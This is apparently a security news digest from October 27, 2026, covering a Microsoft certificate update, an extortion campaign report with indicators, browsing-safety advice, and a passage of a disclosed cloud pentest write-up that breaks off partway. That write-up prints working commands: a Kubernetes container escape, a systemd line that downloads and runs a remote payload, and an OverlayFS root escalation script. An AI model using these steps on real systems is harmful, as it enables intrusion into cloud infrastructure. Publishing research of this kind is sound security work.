Day: October 27, 2026

  • Microsoft releases out-of-band Windows fixes with certificate updates

    Microsoft releases out-of-band Windows fixes with certificate updates

    Microsoft has released another out-of-band update for Windows, but this one isn’t an emergency fix for the latest breakages. This time, it’s all about certificates. The non-security out-of-band release applies to supported OSes ranging from Windows 11 and Windows Server 2025, to Windows 10. It’s all about updating the current certificate trust list (CTL) of devices that cannot access Microsoft’s certificate-update service, or where automatic CTL updates are disabled. It also contains everything in the October 13 update, including the ongoing VPN issues and the change that could break on-premises Exchange Servers. There might also be oddities with Smart App Control, audio, and Remote Desktop connections for non-admin users, all of which are known issues in the October 13 update. These problems are not resolved in this patch, so be aware of this when installing it. It is also worth remembering that many devices will not need this version since the current certificate list updates usually come down through the update service. However, if that service isn’t available or being used, it might be a good idea to get this out-of-band fix (while keeping the known issues in mind), since problems can occur when verifying certificates used by applications or websites. The OOB update came after Microsoft laid out its response to the compromised eMudhra certificate keys. The Indian certification authority’s private keys were compromised earlier this month, requiring a massive cleanup effort. According to Microsoft, “they could potentially be used to create certificates or sign content that appeared to come from a trusted CA [certificate authority].” Like many other organizations, Microsoft moved swiftly to block the affected certificate authorities. It did so by updating its Windows Disallowed Certificate Trust List to block the affected certificates. There was also a separate CRLSet release for Edge and WebView2. According to the Windows behemoth, “On October 26, Microsoft released an out-of-band Windows update that removes seven certificates associated with the affected hierarchies: six eMudhra G3 roots and an AAA Certificate Services cross-sign, from the Windows trust list.” Microsoft’s out-of-band patches are usually released after the company breaks a product and needs to issue an emergency fix. This time, the revision is due to Somebody Else’s Problem and a need to get a CTL update out to devices that are disconnected from CTL updates. ®

    Source: The Register Security · 2026-10-27

  • Attackers Exploit Teams External Chat to Breach Organizations in Under 15 Minutes

    Arctic Wolf warned that the function enables highly effective social engineering attacks, which lead to incidents such as ransomware

    Source: Infosecurity Magazine · 2026-10-27

  • Microsoft releases out-of-band Windows fixes with certificate updates

    Microsoft releases out-of-band Windows fixes with certificate updates

    Microsoft has released another out-of-band update for Windows, but this one isn’t an emergency fix for the latest breakages. This time, it’s all about certificates. The non-security out-of-band release applies to supported OSes ranging from Windows 11 and Windows Server 2025, to Windows 10. It’s all about updating the current certificate trust list (CTL) of devices that cannot access Microsoft’s certificate-update service, or where automatic CTL updates are disabled. It also contains everything in the October 13 update, including the ongoing VPN issues and the change that could break on-premises Exchange Servers. There might also be oddities with Smart App Control, audio, and Remote Desktop connections for non-admin users, all of which are known issues in the October 13 update. These problems are not resolved in this patch, so be aware of this when installing it. It is also worth remembering that many devices will not need this version since the current certificate list updates usually come down through the update service. However, if that service isn’t available or being used, it might be a good idea to get this out-of-band fix (while keeping the known issues in mind), since problems can occur when verifying certificates used by applications or websites. The OOB update came after Microsoft laid out its response to the compromised eMudhra certificate keys. The Indian certification authority’s private keys were compromised earlier this month, requiring a massive cleanup effort. According to Microsoft, “they could potentially be used to create certificates or sign content that appeared to come from a trusted CA [certificate authority].” Like many other organizations, Microsoft moved swiftly to block the affected certificate authorities. It did so by updating its Windows Disallowed Certificate Trust List to block the affected certificates. There was also a separate CRLSet release for Edge and WebView2. According to the Windows behemoth, “On October 26, Microsoft released an out-of-band Windows update that removes seven certificates associated with the affected hierarchies: six eMudhra G3 roots and an AAA Certificate Services cross-sign, from the Windows trust list.” Microsoft’s out-of-band patches are usually released after the company breaks a product and needs to issue an emergency fix. This time, the revision is due to Somebody Else’s Problem and a need to get a CTL update out to devices that are disconnected from CTL updates. ®

    Source: The Register — Security · 2026-10-27

  • PHP2Shell Weaponized After Japanese Real Estate Extortion

    PHP2Shell Weaponized After Japanese Real Estate Extortion

    SOCRadar Threat Research Unit identified an open directory on 96.126.130.81 that exposed the working files of an operator who ran an extortion campaign against Japanese real estate websites and then turned to PHP2Shell, the pair of unauthenticated PHP flaws tracked as CVE-2026-109618 and CVE-2026-109619. The server held more than 3,800 files, including a weaponized copy of the PHP2Shell reproducer package, scripts for web shell deployment and lateral movement, beacon logs, ransom pages and data stolen from victims. The ransom pages and contact addresses use the handle kkkkevin777.

    The campaign focused on Japanese real estate and property-buying websites in October 2026. The intrusion resembled a supply chain attack. After compromising the website of a Japanese real estate services company, the operator used access material found in that environment to reach nearly 20 other sites on the same shared hosting infrastructure and to pull data on their customers.

    The PHP2Shell tooling only arrived on the server on October 21, about ten days after this extortion wave, and the files show no link between PHP2Shell and these intrusions.

    What This Report Does and Does Not Show

    • Initial access: The server does not show how the operator first got into the real estate sites. The October 9-11 extortion wave did not rely on PHP2Shell
    • PHP2Shell timeline: The PHP2Shell tooling reached the server on October 21, about ten days after the extortion wave
    • Current stage: The operator was adapting the public reproducer, building exploit, probe and pipeline scripts around it. The files contain no record of a successful exploitation against a live target
    • Why it matters: An operator who has already monetized shared-hosting access is now preparing PHP2Shell as a follow-on capability, likely for broader targeting

    The stolen member data also creates third-party exposure. Customer records taken from the victims include email addresses on major Japanese telecom, mobile and ISP mail domains, which puts those end users at risk of phishing and credential stuffing well beyond the breached sites.

    Key Takeaways

    • An exposed staging server at 96.126.130.81 held a weaponized copy of the PHP2Shell reproducer package for CVE-2026-109618 and CVE-2026-109619, added on October 21, about ten days after the extortion wave
    • The campaign started with one Japanese real estate services company and used it as a stepping stone to nearly 20 other Japanese websites, most of them real estate and property-buying businesses, between October 9 and 11, 2026
    • Shared hosting accounts were reached with a stored SSH key and a database password reused across sites, which turned one compromise into many
    • Ransom page templates and deployment scripts target public homepages with a fake maintenance notice and admin panels with a ransom note, with a negotiation deadline of October 11, 2026, 04:00 JST
    • The operator turned the initial victim’s customers into leverage, with a script built to mail its members in bulk and a drafted public forum post accusing the company of not reporting the breach
    • Stolen data on the server includes 16,061 member records with plaintext passwords, income and savings details, plus five SQL Server database backups and 730 business emails from a Taiwanese company

    Our main FAQ blog, PHP2Shell (CVE-2026-109618 and CVE-2026-109619), covers the flaws, fixed versions and remediation. To see whether a specific site still needs that fix, SOCRadar’s free PHP2Shell Checker flags its exposure in seconds, with no signup, agent or exploitation.

    Check Your Site Now

    Campaign at a Glance

    Attribute Details
    Related CVEs CVE-2026-109618, CVE-2026-109619 (PHP2Shell)
    Affected component PHP session upload progress handling
    Staging server 96.126.130.81 (open directory on port 9999)
    Confirmed victim A Japanese real estate services company
    Other affected sites About 20 Japanese websites, mostly real estate and property buying, plus a Taiwanese company’s Windows server
    Activity window Extortion wave October 9 to 11, 2026; PHP2Shell tooling added October 21, 2026
    Impact Web shells, data theft, defacement, extortion of the company and its customers
    Motivation Financial extortion

    PHP2Shell on the Attacker’s Server

    The staging server held two copies of the PHP2Shell package. The packages include:

    • Weaponization notes describing how the lab stages chain toward remote code execution
    • Loop and single-child scripts for repeated exploitation attempts against live targets
    • Helper and debugger scripts used during development
    • A second build of the package with Docker files and its own tools folder

    Both packages, and every file inside them, are dated October 21, 2026, about ten days after the extortion wave against Japanese real estate sites. Exploit, pipeline and probe scripts that build on the package appear on the server from that date onward, which marks PHP2Shell as the operator’s next capability rather than the tool behind the earlier intrusions. The files contain no saved output showing a successful PHP2Shell exploitation of a live site. Any PHP site running a vulnerable version should still be treated as exposed.

    How the Exposed Server Was Found

    The server at 96.126.130.81 exposed its working directory over an unauthenticated HTTP directory listing on port 9999. The listing included shell scripts, Python tools, PHP payloads, beacon and command-and-control (C2) logs, ransom page templates, an SSH private key and archives of stolen mail and databases.

    File timestamps place most activity between October 8 and October 27, 2026, with peaks on October 10, October 15 and October 21 to 23. The server’s SSH service had been moved to port 888 and fail2ban installed, a sign that the host was meant for long-term use.

    From One Compromise to About 20 Victims

    Attack flow of the campaign, from the staging server to extortion
    Attack flow of the campaign, from the staging server to extortion

    Initial Victim

    Scripts dated from October 9 show the attacker already holding web shell access to the initial victim’s website. How that access was first obtained is not recorded on this server, and comments in the scripts say they were run from a separate machine. The attacker:

    • Placed PHP web shells under an image upload directory, using random 32-character file names
    • Injected a beacon into the site’s database configuration file that called back to 96.126.130.81 on port 9001
    • Seeded a self-propagating PHP hook across the web root
    • Overrode the site owner’s deny rules in .htaccess and installed a cron job that rewrote them every minute, so the owner’s lockout attempts were reverted automatically
    • Tested outbound mail from the company’s info@ address to an external Gmail address

    The server also held a member database export from the site, containing customer names, contact details, addresses and passwords stored in plaintext.

    Pivot Across Shared Hosting

    The initial victim’s environment gave the attacker what was needed to go further. An SSH private key stored on the staging server was used to log in to several other accounts on the same shared hosting provider. Scripts on the server also show one database password reused across multiple victim sites that share the same member table structure, which points to a common web platform or a common developer behind them.

    The beacon log records callbacks from about 20 Japanese domains between October 9 and October 11, 2026. Most belong to real estate agencies, property-buying services and related local businesses. The attacker also probed internal database ports from inside the hosting network and tried FTP logins with harvested credentials on further accounts.

    Distinct sites calling back to the beacon listener per hour, October 9 to 11, 2026 (server time)
    Distinct sites calling back to the beacon listener per hour, October 9 to 11, 2026 (server time)

    Other Targets

    Recon scripts and port lists also reference a Japanese food manufacturer’s webmail, with no confirmed compromise. A Taiwanese company the operator researched through WHOIS lookups did not remain a reconnaissance target; its data appears on the server, as described below.

    What Data Was Taken

    The server holds the results of the operator’s data theft, not only the tools. The haul spans Japan and Taiwan and covers customer records, internal databases and business email.

    Data recovered from the operator's server
    Data recovered from the operator’s server

    Customer Records From the Initial Victim

    The initial victim’s member export holds 16,061 records, and each one goes well beyond contact details. Alongside names, phone numbers, email addresses and home addresses, the export stores plaintext passwords, annual income, savings, occupation, household details and each member’s property search, including budget, preferred area and purchase timing. That combination gives an attacker what is needed for credential stuffing, convincing real estate or financial phishing and targeted fraud.

    Fields in the initial victim's member export, with no customer data shown
    Fields in the initial victim’s member export, with no customer data shown

    Proof of Access Across Nearly 20 Sites

    The beacon listener on the staging server logged callbacks from 20 domains between October 9 and 11, 2026, each one a site carrying the operator’s injected code. Scripts on the server also used the shared database password to query member tables on other victim sites.

    First callback from each site in the operator's beacon log, with hostnames redacted
    First callback from each site in the operator’s beacon log, with hostnames redacted

    A Taiwanese Company’s Databases and Mailbox

    On October 22 and 23, 2026, the operator pulled data from a Windows server hosted in Taiwan through a web shell: five SQL Server database backups totaling about 345 MB, 663 FoxPro database files totaling about 703 MB and 730 emails from a company mailbox dated 2024 to 2026. A script on the server was written to crack a password-protected archive from the same haul. How the operator first got into that server is not recorded in the files.

    Large Organizations in the Blast Radius

    SOCRadar’s analysis of the stolen customer data found email addresses on domains belonging to major Japanese banking, telecommunications and technology organizations, including companies with annual revenues ranging from hundreds of millions to tens of billions of dollars. Most of these are consumer mail services, so the exposed people are subscribers who were customers of the victim sites. A smaller number are corporate domains, which puts those organizations’ employees within reach of targeted phishing. None of these organizations was breached in this campaign.

    Organizations whose email domains appear in the stolen customer data, with names redacted
    Organizations whose email domains appear in the stolen customer data, with names redacted

    The Extortion Playbook

    The server holds two page templates and the scripts that deploy them:

    • Public site: Overwrites the homepage with a Japanese “system maintenance” notice listing a contact address
    • Admin panel: Overwrites the management page with a warning that names the same address as the negotiation contact and shows a countdown to October 11, 2026, 04:00 JST
    Fake maintenance notice built for victims' public homepages, rendered from the attacker's template
    Fake maintenance notice built for victims’ public homepages, rendered from the attacker’s template
    Ransom note built for victims' admin panels, rendered from the attacker's template after the deadline expired
    Ransom note built for victims’ admin panels, rendered from the attacker’s template after the deadline expired

    The scripts back up the original index pages before overwriting them. Repeated “relock” scripts, along with a saved copy of a site owner’s own lockout rules, indicate that owners were removing the pages and the operator kept restoring them. Scripts also ran database processing jobs on several victim accounts and swept victims’ home directories for backup files, which would reduce their options for recovery.

    A later script searched victims’ web roots for the original Tutamail contact address and replaced it with a Gmail address, the same address targeted by a test message sent from the initial victim’s mail server. Whether the second address belongs to the same person, a partner or a buyer of access is not established in the files.

    Scripts that swap the ransom contact address and restore the ransom pages on victim sites
    Scripts that swap the ransom contact address and restore the ransom pages on victim sites

    Pressure on Customers

    The operator also turned the initial victim’s customers into leverage. A script on the server, staged on October 10, was built to send pre-written messages in bulk through sendmail, with progress tracking and a kill switch. A drafted public forum post claims that notices went out from the initial victim’s official mail server to every member, each containing the recipient’s own details and those of 49 other members, and that data on 167,000 members was taken. These figures are the operator’s claims; the server itself holds a member export of more than 16,000 records from the initial victim.

    Direct Threats and Public Exposure

    Victims were contacted outside the ransom pages as well. A “final warning” email drafted for staff at one victim company states that ignoring LINE messages or taking the site offline would not let them escape, and demands an immediate reply. On October 11, the operator drafted a thread for the 5ch newsplus board accusing the initial victim of failing to report the breach to Japan’s Personal Information Protection Commission. The saved responses stop at the board’s confirmation page, so publication is not confirmed.

    Windows C2 and a Second Operation

    The server also ran a small Python C2 on port 8443 paired with a PowerShell agent that polls for commands every 30 seconds and posts results back. Comments in both files label it as a beacon for a separate “finance line” operation, which indicates the operator was set up to run commands on Windows machines outside the real estate campaign. Results folders for this C2 were empty at the time of collection.

    Who Is Behind the Campaign?

    The ransom pages, contact addresses and scripts point to an operator using the handle kkkkevin777. Script comments and working notes are written in Simplified Chinese, while every victim-facing message is written in Japanese, and SSH keys authorized on the server carry the comment administrator@chenzicccc.

    The files show no affiliate program, data leak site or ransomware-as-a-service panel. Each step, from web shell access to customer pressure, is scripted by hand. After the Japanese wave, the operator compiled 3,913 Hong Kong and Taiwan IP ranges and ran mass scans against them on October 21, 2026, the same day the PHP2Shell tooling arrived, and the separate “finance line” C2 points to more than one operation running in parallel. These are investigative leads drawn from the operator’s own files, not a confirmed identity.

    Third-Party Exposure From the Stolen Member Data

    The stolen member databases hold the personal data of the victim sites’ customers. Analysis of the email domains in this data shows heavy concentration on major Japanese telecom, mobile carrier and ISP mail services, alongside a smaller number of corporate domains.

    Those customers were not breached through their own providers. Their names, contact details and home addresses are now in the attacker’s hands, along with plaintext passwords for the initial victim’s members, which makes them likely targets for phishing, extortion follow-ups and credential stuffing against other services where the same password was reused.

    MITRE ATT&CK Techniques

    Tactic Technique ID
    Initial Access Exploit Public-Facing Application T1190
    Persistence Server Software Component: Web Shell T1505.003
    Persistence Scheduled Task/Job: Cron T1053.003
    Execution Command and Scripting Interpreter: PowerShell T1059.001
    Credential Access Unsecured Credentials: Private Keys T1552.004
    Lateral Movement Remote Services: SSH T1021.004
    Defense Evasion Valid Accounts T1078
    Collection Email Collection T1114
    Command and Control Application Layer Protocol: Web Protocols T1071.001
    Impact Defacement: External Defacement T1491.002
    Impact Inhibit System Recovery T1490

    Indicators of Compromise

    Network:

    • 96.126.130.81 (staging server; open directory on 9999/tcp, SSH on 888/tcp)
    • 96.126.130.81:9001 (PHP beacon listener)
    • 96.126.130.81:8443 (PowerShell C2)

    Beacon URI patterns:

    • /b?h=<hostname>
    • /h?h=<hostname>&t=bk_hook
    • /c?h=<hostname>
    • /c and /d on port 8443

    Email addresses:

    • kkkkevin777@tutamail.com
    • theudinhthi421@gmail.com

    Files and artifacts on victim hosts:

    • .whk.php in the web root
    • index.php.orig20261010 and manage/index.php.orig20261010 (backups of overwritten pages)
    • htaccess.their20261010 (backup of the owner’s .htaccess)
    • A cron entry rewriting .htaccess to “Require all granted” every minute
    • PHP files with 32-character hexadecimal names in image or upload directories
    • Calls to file_get_contents pointing to 96.126.130.81:9001 inside index.php or database configuration files

    SSH key comment:

    • administrator@chenzicccc

    How to Check Whether Your Site Was Compromised

    • Search web roots for the string 96.126.130.81 and for the email addresses above
    • Look for .whk.php, *.orig20261010 files and PHP files with random hexadecimal names in upload or image directories
    • Review the hosting account’s crontab for entries that rewrite .htaccess
    • Check web server logs for multipart requests with unusually long filenames that return HTTP 500, a pattern associated with PHP2Shell exploitation attempts
    • Audit authorized_keys files and SSH login history on shared hosting accounts
    • Compare database table contents against recent backups to confirm whether data was altered

    Mitigation and Recommendations

    • Patch PHP: Update to a PHP release that fixes CVE-2026-109618 and CVE-2026-109619 and review the vendor’s guidance on session upload progress settings
    • Rotate credentials: Replace every SSH key, database password and FTP password used on affected hosting accounts, especially where the same credentials serve multiple sites
    • Separate customer environments: Web developers and agencies managing several client sites should stop reusing keys and database passwords across clients
    • Reset customer passwords: Victim sites should force password resets, move to hashed password storage and notify affected customers
    • Keep offline backups: Store backups outside the web hosting account so an attacker with account access cannot find or remove them
    • Block the infrastructure: Deny traffic to and from 96.126.130.81 at the network and hosting level
    • Do not pay: Verify the actual state of databases before engaging with any ransom demand, since the attacker already copied the data off the servers

    Frequently Asked Questions

    What Is PHP2Shell?

    PHP2Shell refers to CVE-2026-109618 and CVE-2026-109619, two unauthenticated memory corruption flaws in PHP’s session upload progress handling. A reproducer package shows how the flaws can lead to remote code execution. The operator’s staging server held a weaponized copy of that package, added after the real estate extortion wave.

    Is PHP2Shell Being Exploited in the Wild?

    A weaponized PHP2Shell toolkit and follow-on exploit and probe scripts were found on the server of an active extortion operator, added after the operator’s attacks on Japanese real estate sites. The files contain no saved output confirming a successful exploitation of a live target, but the tooling was prepared for use against internet-facing PHP hosts.

    Which Organizations Were Affected?

    The initial victim is a Japanese real estate services company. From its environment, the attacker reached nearly 20 other Japanese websites, mostly real estate agencies and property-buying services, through shared hosting access. A Taiwanese company’s Windows server was also accessed later in October, and its databases and email were pulled. Customers of the victim sites are affected too, because their member records were stolen. Email addresses at major banking, telecom and technology organizations appear in that customer data, but those organizations were not breached in this campaign.

    Who Is Behind the Attacks?

    The ransom pages and contact addresses use the handle kkkkevin777, and the operator’s scripts carry Simplified Chinese comments. The files point to a hands-on, financially motivated extortion operator with no sign of a ransomware affiliate program. These are leads from the operator’s own files, not a confirmed identity.

    What Data Was Stolen?

    The server held member databases with customer names, contact details and home addresses; the initial victim’s export of 16,061 records also includes plaintext passwords, annual income, savings and property search details. From a Taiwanese company, the operator pulled five SQL Server database backups, 663 FoxPro database files and 730 emails. The operator then used that data to pressure victims through their own customers.

    Is Patching PHP Enough?

    No. Patching closes the PHP2Shell flaws, but the real estate intrusions described here were not traced to PHP2Shell. Affected sites also need to remove web shells and cron entries, rotate every SSH key and database password, and restore clean pages and data. Sites that shared credentials with a compromised site should be treated as compromised even if PHP was patched.

    Should Victims Pay the Ransom?

    Victims should first verify the actual state of their databases and whether clean backups exist. The attacker copied data off the servers before making the demand, so payment does not guarantee –it never does– the data will be deleted or kept private.

    Advanced Dark Web Monitoring

    Source: SOCRadar · 2026-10-27

  • The web’s having a rough week. Here’s how to browse safely

    You recognize the website. You’ve visited it before. You may even have it bookmarked. Then it asks you to do something unusual: install an update, allow notifications, or run a command to prove you’re human.

    Stop and check first. A website you trust can still display instructions you shouldn’t follow. Our researchers have documented attacks in which criminals hacked legitimate websites and used them to deliver fake verification pages that trick visitors into installing malware.

    Within the same week, serious problems emerged in several parts of the web’s security infrastructure. Attackers were exploiting two flaws in PHP, researchers disclosed a critical flaw in Brotli software used by Node.js, and eight compromised security certificates raised concerns about how browsers and apps verify websites. The incidents have different causes and levels of risk, but their timing makes this an unusual cluster.

    PHP is used by about 7 in 10 websites whose underlying programming language is known. Node.js is used by 7.4% of websites with an identified web-server technology, according to W3Techs. Both run websites behind the scenes, so flaws in them can put the sites that rely on them at risk. Most browsers have blocked the certificates, though updates may still be needed for other software and devices.

    These problems don’t mean you need to stop browsing. But keep your software and security protection up to date, and be wary of unexpected requests.

    How to stay safe when browsing

    Check the website’s address, but remember that even the genuine site may have been compromised. The important question is whether the page’s instructions make sense. A familiar website may earn your visit, but that doesn’t mean you should automatically let it run software on your device.

    In documented campaigns, malicious instructions appeared on legitimate, hacked WordPress websites, not just lookalike domains.



    A secure connection doesn’t guarantee that a page is safe, either. HTTPS protects the connection between your browser and the site. Browser protections against dangerous content are a separate layer. A page asking you to install software or enter sensitive information still deserves scrutiny, even when the connection is encrypted.

    Ask yourself: “Does this request make sense for what I came here to do?”

    Reading an article shouldn’t require opening PowerShell. Watching a video shouldn’t require following a website’s instructions to “repair” your computer. These are familiar themes in ClickFix attacks, which disguise malicious commands as routine verification or troubleshooting steps.

    You can’t patch someone else’s web server, but you can keep the software on your own device updated. Turn on automatic updates for your operating system, browser, and applications where available, and don’t repeatedly postpone installing them. Updates fix security flaws that criminals could otherwise use to access your files or accounts.

    Keep your browser’s phishing and malware protection enabled, too. Free browser extensions like Malwarebytes Browser Guard warn about known dangerous websites, malicious downloads, and clipboard hijacking. Treat those warnings as a reason to leave, not as another obstacle to get round. These checks are a useful layer of protection, but they can’t certify that every unflagged page is safe.

    Use strong, unique passwords stored in a password manager, and enable multifactor authentication on important accounts. These measures help protect your accounts from unauthorized access.

    If a request involves running code or making changes to your device, verify it independently. If a website claims your browser needs updating, close the prompt and check through the browser’s own settings. If it says an account or service needs attention, check through the official app, help page, or support channel that you open yourself.

    Criminals often present the harmful step as the thing that will let you do what you came to do: fix the connection, enable the player, or complete the security check. The frustration of being blocked can make it tempting to follow their instructions.

    Use up-to-date, real-time anti-malware protection on your devices to help stop malware from wreaking havoc or stealing your information.

    Watch for unexpected content, downloads, redirects, and repeated login requests, even on familiar sites. If something looks wrong, leave the page. If you’re unsure, use Malwarebytes Scam Guard to check whether a request may be a scam and get possible next steps.


    From reporting threats to removing them.

    Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

    Source: Malwarebytes Labs · 2026-10-27

  • Microsoft Authenticator Flaw Let Permissionless Android Apps Steal Work Account Tokens

    Microsoft Authenticator Flaw Let Permissionless Android Apps Steal Work Account Tokens

    Microsoft has fixed a flaw in its Authenticator app for Android that let a malicious app with no permissions pose as a trusted Microsoft app, such as Teams, and collect sign-in tokens for a victim’s work account.

    Microsoft tracks the flaw as CVE-2026-80097 and fixed it in Authenticator for Android version 6.2606.4246, so anyone using the app should update.

    In the researchers’ tests,

    Source: The Hacker News · 2026-10-27

  • An insecure neighbor: how a vulnerability chain led to an isolation bypass in cloud infrastructure

    An insecure neighbor: how a vulnerability chain led to an isolation bypass in cloud infrastructure

    This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.

    Introduction

    Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.

    This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).

    1. Gaining initial access through a managed Kubernetes cluster

    Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.

    1.1. Escaping the worker node

    First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.

    kubectl run pod-name-bla \
       --image=alpine \
       --restart=Never \
       --overrides='
     {
       "apiVersion": "v1",
       "spec": {
         "hostPID": true,
         "containers": [
           {
             "name": "priv",
             "image": "alpine",
             "command": [ "sh", "-c", "sleep 3600" ],
             "stdin": true,
             "tty": true,
             "securityContext": {
               "privileged": true
             }
           }
         ]
       }
     }'

    After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:

    nsenter --target 1 --mount --uts --ipc --net --pid – bash

    After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.

    Kubelet configuration and API server address

    Kubelet configuration and API server address

    Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.

    Konnectivity service account token

    Konnectivity service account token

    1.2. Analysis of control plane services

    After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:

    192.168.0.4:9443 open https status=404
    192.168.0.4:2380 open
    192.168.0.4:6443 open http status=400
    192.168.0.4:8132 open
    192.168.0.4:9100 open http status=200 title="Node Exporter"
    192.168.0.4:9308 open http status=200 title="kube-state-metrics"

    Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.

    Interaction diagram between control plane and data plane via Konnectivity

    1.3. Exploiting Konnectivity

    To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.

    A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.

    Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.

    service AgentService {
      rpc Connect(stream Packet) returns (stream Packet) {}
    }

    The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:

    //apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26
    enum PacketType {
      DIAL_REQ = 0;
      DIAL_RSP = 1;
      ...
    }
    
    message Packet {
      PacketType type = 1;
    
      oneof payload {
        DialRequest dialRequest = 2;
        DialResponse dialResponse = 3;
        Data data = 4;
        CloseRequest closeRequest = 5;
        CloseResponse closeResponse = 6;
        CloseDial closeDial = 7;
      }
    }
    
    message DialRequest {
        // tcp or udp?
        string protocol = 1;
        // node:port
        string address = 2;
        // random id for client, maybe should be longer
        int64 random = 3;
    }

    The server reads any Packet packets from the stream initiated by the agent (worker node):

    //apiserver-network-proxy/pkg/server/server.go:721
    in, err := stream.Recv()
    ...
    recvCh <- in

    Next, the packets go to the backend manager:

    //apiserver-network-proxy/pkg/server/server.go:748
    
    func (s *ProxyServer) serveRecvBackend(...) {
        for pkt := range recvCh {
            switch pkt.Type {

    Then comes the most interesting part:

    //apiserver-network-proxy/pkg/server/server.go:888
    
    case client.PacketType_DIAL_REQ:
        req := pkt.GetDialRequest()
        klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address)
        s.handleDialRequest(pkt, backend)

    In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).

    //apiserver-network-proxy/pkg/server/server.go:921
    func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
      ...
      dialReq := pkt.GetDialRequest()
      resp.GetDialResponse().Random = dialReq.Random
    
      start := time.Now()
      conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address

    This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:

    org.freedesktop.DBus
     org.freedesktop.PackageKit
     org.freedesktop.PolicyKit1
     org.freedesktop.login1
     org.freedesktop.systemd1
     com.ubuntu.SoftwareProperties

    Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:

    busctl --address=unix:path=/tmp/master-dbus.sock \
      call org.freedesktop.login1 \
           /org/freedesktop/login1 \
           org.freedesktop.login1.Manager \
           SetUserLinger ubb 997 true false

    The following sockets were then opened:

    /run/user/997/bus
     /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.)

    Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service:

    StartTransientUnit(
      name: string,
      mode: string,
      properties: a(sv),
      aux: a(sa(sv))
    ) -> job object path

    The properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line:

    ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"

    As a result, we successfully received a callback from the control plane.

    Konnectivity-server context and node network interfaces

    Konnectivity-server context and node network interfaces

    Mirantis, the company behind the k0s project, confirmed the vulnerability.

    1.4. Privilege escalation on the host

    Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).

    In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.

    To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.

    rm -rf /tmp/lpe
    mkdir /tmp/lpe
    cd /tmp/lpe
    
    unshare -rm sh -c '
     mkdir l u w m &&
     cp /usr/bin/python3 l/ &&
     chmod 755 l/python3 &&
     setcap cap_setuid+eip l/python3 &&
     mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
     touch m/*
    '
    getcap /tmp/lpe/u/python3
    /tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'
    Confirmation of command execution with root privileges

    Confirmation of command execution with root privileges

    Gaining root privileges opened up several interesting attack vectors:

    1. We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
